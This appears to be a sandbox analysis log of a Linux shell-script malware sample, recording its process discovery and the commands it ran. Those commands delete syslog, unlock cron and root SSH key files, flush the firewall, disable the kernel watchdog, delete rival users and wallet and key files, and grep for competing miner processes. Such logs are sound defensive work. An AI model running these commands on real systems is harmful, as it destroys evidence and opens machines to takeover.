File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A

Process Discovery

discovery
Description Indicator Process Target
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/124/status /bin/ps N/A
File opened for reading /proc/18/status /bin/ps N/A
File opened for reading /proc/71/status /bin/ps N/A
File opened for reading /proc/36/cmdline /usr/bin/pkill N/A
File opened for reading /proc/679/status /bin/ps N/A
File opened for reading /proc/12/status /bin/ps N/A
File opened for reading /proc/71/cmdline /usr/bin/pkill N/A
File opened for reading /proc/17/status /bin/ps N/A
File opened for reading /proc/70/status /bin/ps N/A
File opened for reading /proc/15/cmdline /bin/ps N/A
File opened for reading /proc/74/cmdline /bin/ps N/A
File opened for reading /proc/24/status /bin/ps N/A
File opened for reading /proc/24/cmdline /bin/ps N/A
File opened for reading /proc/16/cmdline /usr/bin/pkill N/A
File opened for reading /proc/686/stat /bin/ps N/A
File opened for reading /proc/7/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1856/stat /bin/ps N/A
File opened for reading /proc/84/cmdline /bin/ps N/A
File opened for reading /proc/123/status /bin/ps N/A
File opened for reading /proc/1905/cmdline /bin/ps N/A
File opened for reading /proc/36/stat /bin/ps N/A
File opened for reading /proc/11/status /usr/bin/pkill N/A
File opened for reading /proc/filesystems /usr/bin/pkill N/A
File opened for reading /proc/2054/status /bin/ps N/A
File opened for reading /proc/23/stat N/A N/A
File opened for reading /proc/79/cmdline /usr/bin/pkill N/A
File opened for reading /proc/707/cmdline /bin/ps N/A
File opened for reading /proc/13/status /bin/ps N/A
File opened for reading /proc/82/cmdline /bin/ps N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/19/cmdline /usr/bin/pkill N/A
File opened for reading /proc/14/cmdline /usr/bin/pkill N/A
File opened for reading /proc/330/cmdline /bin/ps N/A
File opened for reading /proc/71/status /bin/ps N/A
File opened for reading /proc/6/stat N/A N/A
File opened for reading /proc/111/cmdline /bin/ps N/A
File opened for reading /proc/706/status /usr/bin/pkill N/A
File opened for reading /proc/75/status /bin/ps N/A
File opened for reading /proc/111/status /usr/bin/pkill N/A
File opened for reading /proc/84/stat /bin/ps N/A
File opened for reading /proc/6/cmdline /bin/ps N/A
File opened for reading /proc/15/cmdline /bin/ps N/A
File opened for reading /proc/2/status /bin/ps N/A
File opened for reading /proc/379/stat /bin/ps N/A
File opened for reading /proc/327/stat /bin/ps N/A
File opened for reading /proc/709/status /bin/ps N/A
File opened for reading /proc/18/cmdline /bin/ps N/A
File opened for reading /proc/71/cmdline /usr/bin/pkill N/A
File opened for reading /proc/706/stat N/A N/A
File opened for reading /proc/4/cmdline N/A N/A
File opened for reading /proc/19/cmdline /usr/bin/pkill N/A
File opened for reading /proc/111/cmdline /usr/bin/pkill N/A
File opened for reading /proc/15/status /bin/ps N/A
File opened for reading /proc/706/cmdline /bin/ps N/A
File opened for reading /proc/1838/cmdline /bin/ps N/A
File opened for reading /proc/420/status /bin/ps N/A
File opened for reading /proc/12/cmdline /usr/bin/pkill N/A
File opened for reading /proc/3/cmdline /usr/bin/pkill N/A
File opened for reading /proc/71/stat /bin/ps N/A
File opened for reading /proc/2018/cmdline /bin/ps N/A
File opened for reading /proc/74/status /usr/bin/pkill N/A
File opened for reading /proc/1770/stat /bin/ps N/A
File opened for reading /proc/72/cmdline /bin/ps N/A
File opened for reading /proc/5/cmdline /bin/ps N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh N/A
N/A N/A /bin/ls N/A
N/A N/A /bin/grep N/A
N/A N/A /bin/grep N/A

Writes file to tmp directory

Description Indicator Process Target
File opened for modification /tmp/log_rot /tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh N/A

Processes

/tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh

[/tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh]

/bin/rm

[rm -rf /var/log/syslog]

/usr/bin/chattr

[chattr -iua /tmp/]

/usr/bin/chattr

[chattr -iua /var/tmp/]

/usr/bin/chattr

[chattr -R -i /var/spool/cron]

/usr/bin/chattr

[chattr -i /etc/crontab]

/sbin/iptables

[iptables -F]

/usr/bin/sudo

[sudo sysctl kernel.nmi_watchdog=0]

/usr/sbin/sendmail

[sendmail -t]

/usr/sbin/sendmail

[sendmail -t]

/sbin/sysctl

[sysctl kernel.nmi_watchdog=0]

/usr/sbin/userdel

[userdel akay]

/usr/sbin/userdel

[userdel vfinder]

/usr/bin/chattr

[chattr -iae /root/.ssh/]

/usr/bin/chattr

[chattr -iae /root/.ssh/authorized_keys]

/usr/sbin/exim4

[/usr/sbin/exim4 -Mc 1tJY3V-0000Bw-QW]

/usr/sbin/exim4

[/usr/sbin/exim4 -Mc 1tJY3V-0000Bz-Tp]

/bin/rm

[rm -rf /tmp/addres*]

/bin/rm

[rm -rf /tmp/walle*]

/bin/rm

[rm -rf /tmp/keys]

/bin/ls

[ls -latrh /proc/1]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/10]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/11]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/111]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/12]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/123]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/124]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/13]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/14]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/147]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/15]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/157]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/16]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/17]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/172]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/18]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/19]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/2]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/20]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/21]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/22]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/23]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/24]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/241]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/3]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/327]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/329]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/330]

/bin/grep

